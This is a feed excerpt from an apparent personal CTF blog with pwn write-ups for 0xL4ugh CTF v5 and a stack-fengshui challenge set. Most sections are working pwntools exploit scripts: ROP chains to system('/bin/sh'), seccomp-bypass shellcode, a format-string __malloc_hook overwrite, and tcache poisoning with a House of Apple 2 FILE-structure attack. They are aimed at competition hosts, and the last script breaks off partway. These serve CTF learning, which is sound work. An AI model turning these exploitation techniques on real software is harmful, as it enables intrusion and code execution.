&lt;pre&gt;&lt;code&gt;gcc chall.c -fno-stack-protector -fcf-protection=full -mshstk -fno-omit-frame-pointer -static -o chall
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: 0xL4ugh CTF v5</title><link>https://cubeyond.net/posts/write-ups/0xl4ugh-ctf-v5/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/0xl4ugh-ctf-v5/</guid><description>Write-ups for 0xL4ugh CTF v5 pwn aspect.</description><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Awesome Router&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: IoT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Trust me, if this challenge solved in the inteneded way, there is a lot of fun ; )&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;There exits &lt;code&gt;gets&lt;/code&gt; and &lt;code&gt;puts&lt;/code&gt; in &lt;code&gt;bin/fetcher&lt;/code&gt;, so we can use &lt;code&gt;ret2gets&lt;/code&gt; trick for a ez shell :D&lt;/p&gt;
&lt;p&gt;And the rest work are for webers, the Pwn part is done LOL&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./fetcher_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc
rop = ROP(libc)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    payload = flat(
        {
            0x28: elf.plt[&quot;gets&quot;],
            0x30: elf.plt[&quot;gets&quot;],
            0x38: elf.plt[&quot;puts&quot;],
            0x40: elf.sym[&quot;main&quot;],
        },
        filler=b&quot;\x00&quot;,
    )
    target.sendlineafter(b&quot;Enter your url to fetch&quot;, payload)

    payload = flat(
        p32(0x0),  # lock
        b&quot;A&quot; * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b&quot;BBBB&quot;)

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b&quot;\x00&quot;))
    libc.address = tls + 0x28C0
    target.success(f&quot;tls: {hex(tls)}&quot;)
    target.success(f&quot;libc: {hex(libc.address)}&quot;)

    payload = flat(
        {
            0x28: libc.address + rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;])[0],
            0x30: next(libc.search(b&quot;/bin/sh&quot;)),
            0x38: libc.address + rop.find_gadget([&quot;ret&quot;])[0],
            0x40: libc.sym[&quot;system&quot;],
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;Enter your url to fetch&quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;New Age&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;They said a carefully crafted seccomp filter would always save you, can you make sure for me?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;flag&lt;/code&gt; name is random, &lt;code&gt;openat2&lt;/code&gt; is not disabled.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./new_age&quot;
HOST, PORT = &quot;159.89.106.147&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def main():
    launch()

    sc = asm(&quot;&quot;&quot;
        /* openat2(&quot;.&quot;, {0,0,0}, 24) */
        push 0
        push 0
        push 0
        mov rdx, rsp
        push 0x2e
        mov rsi, rsp
        mov rdi, -100
        mov r10, 24
        mov rax, 437
        syscall

        /* getdents64(fd, buf, 0x1000) */
        mov rdi, rax
        sub rsp, 0x1000
        mov rsi, rsp
        mov rdx, 0x1000
        mov rax, 217
        syscall

        /* iterate directory, skip `.` (0x2e) and `..` (0x2e2e) */
        mov r8, rax     /* total length */
        mov r9, rsp     /* buffer pointer */
    find_real_file:
        movzx eax, byte ptr [r9+19]
        cmp al, 0x2e    /* if the first character of the file name is `.`, skip it */
        je next_ent

        /* find the file, store in `r9+19` */
        jmp open_it

    next_ent:
        movzx ax, word ptr [r9+16] /* d_reclen */
        add r9, rax
        sub r8, rax
        jg find_real_file
        jmp exit

    open_it:
        /* openat2(AT_FDCWD, r9+19, {0,0,0}, 24) */
        lea rsi, [r9+19]
        mov rdi, -100
        lea rdx, [rsp+0x1000+8]
        mov r10, 24
        mov rax, 437
        syscall

        /* pread64(fd, buf, 0x100, 0) */
        mov rdi, rax
        mov rsi, r9
        mov rdx, 0x100
        xor r10, r10
        mov rax, 17
        syscall
        mov r12, rax

        /* writev(1, &amp;amp;iovec, 1) */
        push r12
        push r9
        mov rsi, rsp
        mov rdi, 1
        mov rdx, 1
        mov rax, 20
        syscall

    exit:
        mov rax, 60
        syscall
    &quot;&quot;&quot;)

    target.sendafter(b&quot;Send shellcode (max 4096 bytes): &quot;, sc)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Zoro’s Blind Path&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The only way forward is understanding what cannot be seen&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;This chall disabled &lt;code&gt;X x P p S s&lt;/code&gt; and &lt;code&gt;$&lt;/code&gt; character.&lt;/p&gt;
&lt;p&gt;The idea is using the &lt;code&gt;%c&lt;/code&gt; to iterate &lt;code&gt;printf&lt;/code&gt; arguments, so the next &lt;code&gt;%n&lt;/code&gt; will write to the address which we pre-putted in the stack.&lt;/p&gt;
&lt;p&gt;And since we have only have 10 bytes for the second format string, we cannot use the second format string to modify address. But the libc version is &lt;code&gt;2.23&lt;/code&gt;, so there exists &lt;code&gt;__malloc_hook&lt;/code&gt; and &lt;code&gt;__free_hook&lt;/code&gt;, which in libc&apos;s &lt;code&gt;rw&lt;/code&gt; region.&lt;/p&gt;
&lt;p&gt;Recall &lt;code&gt;printf&lt;/code&gt; will malloc a larger buffer if the output content exceeds the default buffer size, so we can overwrite a hook to onegadget address and then trigger it by &lt;code&gt;%1000000c&lt;/code&gt; in the second &lt;code&gt;printf&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    fmtstr_payload,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./app_patched&quot;
HOST, PORT = &quot;challenges.ctf.sd&quot;, 33898

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def build_fmt_payload(target_addr, value, consume=24, offset=0x90, num_bytes=6):
    target_vals = [(value &amp;gt;&amp;gt; (i * 0x8)) &amp;amp; 0xFF for i in range(num_bytes)]

    specs = []
    # consume arguments
    for _ in range(consume):
        specs.append(b&quot;%c&quot;)
    curr = 24  # 19

    for i in range(num_bytes):
        # consume (arg 26, 28, 30, 32, 34, 36)
        diff = (target_vals[i] - curr % 256 + 256) % 256
        if diff == 0:
            specs.append(b&quot;%256c&quot;)
            curr += 256
        else:
            specs.append(f&quot;%{diff}c&quot;.encode())
            curr += diff
        # consume (arg 27, 29, 31, 33, 35, 37)
        specs.append(b&quot;%hhn&quot;)

    fmt = b&quot;&quot;.join(specs)

    # if length over offset, then we have to put addresses farther
    if len(fmt) &amp;gt; offset:
        raise ValueError(f&quot;Format string too long: {len(fmt)} bytes&quot;)

    payload = fmt.ljust(offset, b&quot;\x00&quot;)
    for i in range(num_bytes):
        payload += flat(target_addr + i)
        payload += flat(0xCAFEBABE)

    return payload


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;Clue: &quot;)
    libc.address = int(target.recvline(), 16) - libc.sym[&quot;_IO_2_1_stdout_&quot;]
    __malloc_hook = libc.sym[&quot;__malloc_hook&quot;]
    one_gadget = libc.address + 0x4527A

    target.success(f&quot;libc: {hex(libc.address)}&quot;)
    target.success(f&quot;__malloc_hook: {hex(__malloc_hook)}&quot;)
    target.success(f&quot;one_gadget: {hex(one_gadget)}&quot;)

    # arg 9 is the start of our payload
    # target address at offset 0x90 -&amp;gt; arg (9 + 0x90/8) = arg 27
    # payload = build_fmt_payload(__malloc_hook, one_gadget)
    payload = fmtstr_payload(8, {__malloc_hook: one_gadget}, no_dollars=True)

    raw_input(&quot;DEBUG&quot;)
    target.sendline(payload)

    target.sendline(b&quot;%1000000c&quot;)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Wyv3rn&apos;s Magic&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;We missed the legend !&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;Haven&apos;t solve this.&lt;/p&gt;
&lt;p&gt;This might be useful: &lt;a href=&quot;https://arxiv.org/pdf/2304.07940&quot;&gt;https://arxiv.org/pdf/2304.07940&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h1&gt;House Of Pain&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This house is welcoming. The journey, however, can be painful.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;We can leak stack address in &lt;code&gt;small_message&lt;/code&gt;, and its just a CHOP bypass canary.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
    u64,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./chall_patched&quot;
HOST, PORT = &quot;challenges4.ctf.sd&quot;, 34724

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def small_message(size, msg):
    target.sendlineafter(b&quot;2. Exit\n&quot;, str(1).encode())
    target.sendlineafter(b&quot;Enter size: &quot;, str(size).encode())
    target.sendafter(b&quot;Enter your message: &quot;, msg)


def main():
    launch()

    small_message(0x20, b&quot;A&quot; * 0x18)

    target.recvuntil(b&quot;A&quot; * 0x18)
    stack = u64(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;))
    target.success(hex(stack))

    win = 0x401773
    fake = flat(
        {
            0x0: stack,
            0x8: 0x40168F,
            0x20: stack - 0x118 + 0x18,
            0x28: 0x4013C8,  # 0x4013c8 (main+82)
            0x58: win,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    small_message(0x10, b&quot;A&quot; * 0x30 + fake)
    target.sendlineafter(b&quot;2. Exit\n&quot;, str(2).encode())

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Alice&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Alice, struggling with the traumatic death of her family, returns to a corrupted Wonderland to unlock repressed memories. Can you help her remember who she is ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;This chall limited our free counts, so we cannot just fill tcache and then get the chunk into unsortedbin to leak libc.&lt;/p&gt;
&lt;p&gt;The idea is tcache poisoning to let malloc return &lt;code&gt;tcache_perthread_structure&lt;/code&gt;, and change the correspond tcachebin&apos;s &lt;code&gt;counts&lt;/code&gt; to &lt;code&gt;7&lt;/code&gt;, so the next free will go to unsortedbin.&lt;/p&gt;
&lt;p&gt;Then we can do a ez House of Apple 2 attack to get shell.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    FileStructure,
    context,
    flat,
    process,
    raw_input,
    remote,
    u64,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./vuln_patched&quot;
HOST, PORT = &quot;159.89.105.235&quot;, 10001

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def create_memory(idx, size, data):
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(1).encode())
    target.sendlineafter(b&quot;Memory index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;How vivid is this memory? &quot;, str(size).encode())
    target.sendlineafter(b&quot;What do you remember? &quot;, data)


def edit_memory(idx, data):
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(2).encode())
    target.sendlineafter(b&quot;Which memory will you rewrite? &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Rewrite your memory: &quot;, data)


def view_memory(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(3).encode())
    target.sendlineafter(b&quot;Which memory do you wish to recall? &quot;, str(idx).encode())


def forget_memory(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(4).encode())
    target.sendlineafter(b&quot;Which memory will you erase? &quot;, str(idx).encode())


def main():
    launch()

    create_memory(0, 0x10, b&quot;0&quot;)
    create_memory(1, 0x10, b&quot;1&quot;)
    forget_memory(0)
    forget_memory(1)
    view_memory(0)
    heap = u64(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
    pos = heap &amp;gt;&amp;gt; 12
    target.success(f&quot;heap: {hex(heap)}&quot;)

    edit_memory(1, flat(mangle(pos, heap + 0x60)) + b&quot;A&quot; * 0x8)
    create_memory(2, 0x10, b&quot;A&quot; * 0x8)
    create_memory(3, 0x2F0, b&quot;unsortedbin&quot;)
    create_memory(5, 0x250, b&quot;guard&quot;)
    create_memory(4, 0x10, flat(0) + flat(0x0000000700000000))  # 0x300 [  7]
    forget_memory(3)
    view_memory(3)
    libc.address = u64(target.recvline().rstrip().ljust(0x8, b&quot;\x00&quot;)) - 0x203B20
    target.success(f&quot;libc: {hex(libc.address)}&quot;)

    create_memory(6, 0x250, b&quot;A&quot; * 0x8)
    forget_memory(6)
    forget_memory(5)

    edit_memory(5, flat(mangle(pos, libc.sym[&quot;_IO_list_all&quot;])) + b&quot;A&quot; * 0x8)

    fp_addr = heap + 0x5E0
    system = libc.sym[&quot;system&quot;]
    fp = FileStructure(null=libc.sym[&quot;lock&quot;])
    fp.flags = b&quot; sh&quot;
    fp._IO_write_ptr = 1
    fp._IO_write_base = 0
    fp._wide_data = fp_addr
    fp.vtable = libc.sym[&quot;_IO_wfile_jumps&quot;]
    fp.chain = system
    payload = bytes(fp) + flat(fp_addr)

    raw_input(&quot;DEBUG&quot;)
    create_memory(7, 0x250, payload)
    create_memory(8, 0x250, flat(fp_addr))

    target.sendlineafter(b&quot;&amp;gt; &quot;, str(5).encode())

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>此地不宜调试</title><link>https://cubeyond.net/posts/write-ups/fengshui/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/fengshui/</guid><description>有些题，只是今天不宜利用。</description><pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import GithubCard from &quot;@components/misc/GithubCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;Challenge Collections&lt;/h1&gt;
&lt;p&gt;&amp;lt;GithubCard repo=&quot;CuB3y0nd/fengshui&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;You can download the challenges from my repo above.&lt;/p&gt;
&lt;h1&gt;stack/level-0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;None.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;This is probably the easiest stack fengshui challenge.&lt;/p&gt;
&lt;p&gt;This challenge gave us &lt;code&gt;pop rax; ret&lt;/code&gt; gadget, but cannot control any other registers, like &lt;code&gt;rdi&lt;/code&gt; etc.&lt;/p&gt;
&lt;p&gt;Only &lt;code&gt;0x20&lt;/code&gt; bytes read with &lt;code&gt;0x10&lt;/code&gt; bytes buffer, so we can only write &lt;code&gt;0x10&lt;/code&gt; bytes data each time, and then overwrite &lt;code&gt;rbp&lt;/code&gt; and &lt;code&gt;rip&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So, the idea is use sigreturn to execute &lt;code&gt;execve(&quot;/bin/sh&quot;, NULL, NULL)&lt;/code&gt;, and the first thing we have to do it figure out how to implement the arbitrary size read, such that we can send the full sigreturn structure, then construct a sigreturn by utilize the &lt;code&gt;pop rax; ret&lt;/code&gt; gadget.&lt;/p&gt;
&lt;p&gt;The memory layout should be looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# pop rax; ret
# 0xf
# syscall
# sigreturn frame
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&apos;s think about how to achieve an arbitrary size read. Assume following memory dump is the stats of the first time read, because we want get an arbitrary size consistent read, so we cannot chain the next &lt;code&gt;read&lt;/code&gt; gadget write to &lt;code&gt;0x404038&lt;/code&gt; directly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404048 0x0000000000401133
0x404048: 0x0000000000000000 0x0000000000000000
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we directly write to the next consistent address, it&apos;ll cause &lt;code&gt;read&lt;/code&gt; return to &lt;code&gt;0x4242424242424242&lt;/code&gt; and crash the program.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404058 0x0000000000401133
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The way to bypass is fairly simple, just avoid corrupt the return address later used by &lt;code&gt;read&lt;/code&gt;. First, we read some junk bytes to &lt;code&gt;0x404048&lt;/code&gt; to keeping the rop chain alive so we can read more data.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404058 0x0000000000401149
0x404048: 0x5858585858585858 0x5858585858585858
0x404058: 0x0000000000404048 0x0000000000401133
0x404068: 0x0000000000000000 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then write the actual data which we needed to &lt;code&gt;0x404038&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404048 0x0000000000401133
0x404058: 0x0000000000404048 0x0000000000401149
0x404068: 0x0000000000000000 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, repeat the same way to achieve arbitrary size read.&lt;/p&gt;
&lt;p&gt;As for how to get the &lt;code&gt;syscall; ret&lt;/code&gt; gadget, we can utilize &lt;code&gt;read@got&lt;/code&gt;, checking instructions nearby &lt;code&gt;read&lt;/code&gt;, you can found some of them.&lt;/p&gt;
&lt;p&gt;So the final memory layout should be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# pop rax; ret
# 0xf
# read@plt (syscall)
# sigreturn frame
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the final strategy is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pre-place &lt;code&gt;pop rax; ret&lt;/code&gt; chain for execute sigreturn&lt;/li&gt;
&lt;li&gt;Place sigreturn frame beside the chain (actually you can put it anywhere, just have to manually pivot, to make sure the &lt;code&gt;rsp&lt;/code&gt; points to the frame)&lt;/li&gt;
&lt;li&gt;Modify &lt;code&gt;read@got&lt;/code&gt; points to &lt;code&gt;syscall; ret&lt;/code&gt; gadget&lt;/li&gt;
&lt;li&gt;Pivot back to the start of the ROP chain&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    SigreturnFrame,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
